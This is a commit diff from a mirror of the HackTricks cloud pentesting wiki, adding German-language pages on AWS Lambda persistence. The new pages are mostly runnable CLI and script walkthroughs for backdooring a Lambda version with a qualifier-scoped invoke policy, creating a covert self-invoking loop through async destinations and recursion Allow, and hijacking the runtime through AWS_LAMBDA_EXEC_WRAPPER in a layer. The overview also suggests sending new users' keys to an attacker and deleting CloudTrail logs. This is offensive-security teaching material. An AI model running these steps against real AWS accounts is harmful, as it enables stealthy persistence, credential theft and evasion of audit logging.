mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 14:40:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -12,53 +12,80 @@ Für weitere Informationen siehe:
|
||||
|
||||
### Lambda Layer Persistenz
|
||||
|
||||
Es ist möglich, eine **Schicht einzuführen/hintertüren, um beliebigen Code auszuführen**, wenn die Lambda stealthy ausgeführt wird:
|
||||
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** wenn die Lambda auf eine unauffällige Weise ausgeführt wird:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Erweiterungs-Persistenz
|
||||
### Lambda Extension Persistenz
|
||||
|
||||
Durch den Missbrauch von Lambda Layers ist es auch möglich, Erweiterungen zu missbrauchen und in der Lambda zu persistieren, aber auch Anfragen zu stehlen und zu modifizieren.
|
||||
Durch Missbrauch von Lambda Layers ist es auch möglich, Extensions zu missbrauchen und in der Lambda persistent zu bleiben, sowie Requests zu stehlen und zu modifizieren.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Über Ressourcenrichtlinien
|
||||
### Via resource policies
|
||||
|
||||
Es ist möglich, den Zugriff auf verschiedene Lambda-Aktionen (wie Invoke oder Update Code) für externe Konten zu gewähren:
|
||||
Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (wie invoke oder update code) zu gewähren:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versionen, Aliase & Gewichte
|
||||
### Versionen, Aliases & Weights
|
||||
|
||||
Eine Lambda kann **verschiedene Versionen** haben (mit unterschiedlichem Code in jeder Version).\
|
||||
Dann können Sie **verschiedene Aliase mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche Gewichte zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine **Version 2 mit nur dem legitimen Code** erstellen und **nur die Version 1 in 1%** der Anfragen ausführen, um stealthy zu bleiben.
|
||||
Eine Lambda kann **different versions** (mit unterschiedlichem Code pro Version) haben.\
|
||||
Dann kannst du **different aliases with different versions** der Lambda erstellen und jedem unterschiedliche Weights zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 with only the legit code** erstellen und **only execute the version 1 in 1%** der Requests, um unauffällig zu bleiben.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Hintertür + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Kopieren Sie den ursprünglichen Code der Lambda
|
||||
2. **Erstellen Sie eine neue Version, die den ursprünglichen Code hintertürig macht** (oder nur mit bösartigem Code). Veröffentlichen und **setzen Sie diese Version** auf $LATEST
|
||||
1. Rufen Sie das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
|
||||
3. **Erstellen Sie eine neue Version mit dem ursprünglichen Code**, veröffentlichen und setzen Sie diese **Version** auf $LATEST.
|
||||
1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen
|
||||
4. Gehen Sie zum API Gateway und **erstellen Sie eine neue POST-Methode** (oder wählen Sie eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Beachten Sie das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
|
||||
5. Wählen Sie die erstellte POST-Methode aus und wählen Sie in Aktionen **`API bereitstellen`**
|
||||
6. Jetzt, wenn Sie **die Funktion über POST aufrufen, wird Ihre Hintertür** aufgerufen
|
||||
1. Kopiere den Originalcode der Lambda
|
||||
2. **Create a new version backdooring** den Originalcode (oder nur mit malicious code). Publish und **deploy that version** zu $LATEST
|
||||
1. Rufe das API Gateway, das mit der Lambda verknüpft ist, auf, um den Code auszuführen
|
||||
3. **Create a new version with the original code**, Publish und deploy that **version** zu $LATEST.
|
||||
1. Das wird den backdoored code in einer vorherigen Version verbergen
|
||||
4. Gehe zum API Gateway und **create a new POST method** (oder wähle eine andere Methode), die die backdoored version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Beachte das abschließende :1 der arn **indicating the version of the function** (Version 1 wird in diesem Szenario die backdoored sein).
|
||||
5. Wähle die erstellte POST-Methode und unter Actions **`Deploy API`**
|
||||
6. Jetzt wird, wenn du die Funktion per POST aufrufst, deine **Backdoor** ausgelöst
|
||||
|
||||
### Cron/Ereignis-Aktuator
|
||||
### Cron/Event actuator
|
||||
|
||||
Die Tatsache, dass Sie **Lambda-Funktionen ausführen können, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
|
||||
Hier sind einige Ideen, um Ihre **Präsenz in AWS stealthy zu gestalten, indem Sie Lambdas erstellen**.
|
||||
Die Tatsache, dass man Lambda-Funktionen ausführen lassen kann, wenn etwas passiert oder nach Zeitintervallen, macht Lambda zu einem häufig genutzten Weg, um Persistenz zu erreichen und Entdeckung zu vermeiden.\
|
||||
Hier einige Ideen, um deine **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Jedes Mal, wenn ein neuer user erstellt wird, generiert Lambda einen neuen user key und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue role erstellt wird, gewährt Lambda kompromittierten Benutzern die assume role Berechtigungen.
|
||||
- Jedes Mal, wenn neue CloudTrail-Logs erzeugt werden, lösche/verändere sie
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor der runtime/handler startet. Liefere den Wrapper über ein Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Runtime-Prozess der Funktion, erbt die function execution role und `exec`t schließlich das echte Runtime, sodass der ursprüngliche Handler normal weiterläuft.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion sich kontinuierlich selbst neu aufrufen zu lassen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber durch Setzen der recursion config auf Allow werden sie wieder aktiviert. Destinations liefern auf Service-Seite bei async invokes, sodass ein einzelner seed invoke ein unauffälliges, code-freies heartbeat/backdoor channel erzeugt. Optional mit reserved concurrency drosseln, um das Noise niedrig zu halten.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und scope eine resource-based policy auf diese spezifische Version (oder alias) mittels des `--qualifier` Parameters in `lambda add-permission`. Gewähre nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an ein Angreifer-Prinzipal. Normale Invocations über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored version ARN direkt aufrufen kann.
|
||||
|
||||
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda die Berechtigung zur Annahme von Rollen an kompromittierte Benutzer.
|
||||
- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, löschen/ändern Sie diese.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Zusammenfassung
|
||||
|
||||
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und weise mittels des Parameters `--qualifier` in `lambda add-permission` eine resource-based policy genau dieser Version (oder eines Alias) zu. Erteile nur `lambda:InvokeFunction` für `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an einen Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
|
||||
|
||||
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
|
||||
|
||||
## Erforderliche Berechtigungen (Angreifer)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Angriffsablauf (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Versteckte Version veröffentlichen, auf Qualifier beschränkte Berechtigung hinzufügen, als Angreifer aufrufen</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Auswirkungen
|
||||
|
||||
- Gewährt eine stealthy Backdoor, um eine versteckte Version der Funktion aufzurufen, ohne das primäre Alias zu ändern oder eine Function URL offenzulegen.
|
||||
- Beschränkt die Exposition nur auf die angegebene Version/Alias über die ressourcenbasierte Policy `Qualifier`, reduziert so die Erkennungsfläche und bewahrt gleichzeitig die zuverlässige Aufrufbarkeit für den Angreifer-Principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Missbrauche Lambda asynchronous Destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich ohne externen Scheduler (kein EventBridge, cron, etc.) sich selbst erneut aufzurufen. Standardmäßig beendet Lambda rekursive Loops, aber das Setzen der Recursion-Konfiguration auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei async invokes, sodass ein einzelner Seed-Invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um Lärm niedrig zu halten.
|
||||
|
||||
Notes
|
||||
- Lambda erlaubt nicht, die Funktion direkt als eigene Destination zu konfigurieren. Verwende stattdessen einen function alias als Destination und erlaube der execution role, diesen Alias aufzurufen.
|
||||
- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu lesen/aktualisieren, eine Version zu veröffentlichen und einen Alias zu verwalten sowie die Policy der execution role der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
|
||||
|
||||
## Anforderungen
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Schritte
|
||||
|
||||
1) Hole die ARN der Funktion und die aktuelle Recursion-Einstellung
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Veröffentliche eine Version und erstelle/aktualisiere ein Alias (als Ziel für sich selbst verwendet)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Erlaube der Ausführungsrolle der Funktion, das Alias aufzurufen (erforderlich für Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Konfiguriere das async destination zum Alias (self via alias) und deaktiviere retries
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Erlaube rekursive Schleifen
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Einen einzelnen asynchronen Invoke auslösen
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Beobachte kontinuierliche Aufrufe (Beispiele)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Optionale unauffällige Drosselung
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Bereinigung
|
||||
Unterbreche die loop und entferne die persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Auswirkungen
|
||||
- Ein einzelner async invoke bewirkt, dass Lambda sich kontinuierlich erneut aufruft, ohne externen Scheduler, und ermöglicht verdeckte persistence/heartbeat. Reserved concurrency kann den Lärm auf eine einzige warm execution begrenzen.
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Zusammenfassung
|
||||
|
||||
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor das runtime/handler startet. Liefere den Wrapper über eine Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe anschließend die Funktion auf. Der Wrapper läuft im Prozess der Funktionsruntime, erbt die Function Execution Role und führt schließlich das echte Runtime via `exec` aus, sodass der ursprüngliche Handler weiterhin normal ausgeführt wird.
|
||||
|
||||
> [!WARNING]
|
||||
> Diese Technik ermöglicht Codeausführung in der Ziel-Lambda ohne Änderung ihres Quellcodes oder ihrer Rolle und ohne `iam:PassRole` zu benötigen. Du brauchst lediglich die Möglichkeit, die Funktionskonfiguration zu aktualisieren und ein Layer zu veröffentlichen/anzuhängen.
|
||||
|
||||
## Erforderliche Berechtigungen (attacker)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (or trigger via existing event)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
|
||||
|
||||
## Wrapper Script
|
||||
|
||||
Platziere den Wrapper im Layer unter `/opt/bin/htwrap`. Er kann Logik vor dem Handler ausführen und muss mit `exec "$@"` enden, um an das echte runtime weiterzuleiten.
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## Angriffsschritte (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Layer veröffentlichen, an Ziel-Funktion anhängen, Wrapper setzen, aufrufen</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## Auswirkungen
|
||||
|
||||
- Ausführung von Pre-handler-Code im Lambda runtime-Kontext unter Verwendung der bestehenden execution role der Funktion.
|
||||
- Keine Änderungen am function code oder an der role erforderlich; funktioniert für gängige managed runtimes (Python, Node.js, Java, .NET).
|
||||
- Ermöglicht persistence, credential access (z. B. STS), data exfiltration und runtime tampering, bevor der handler ausgeführt wird.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user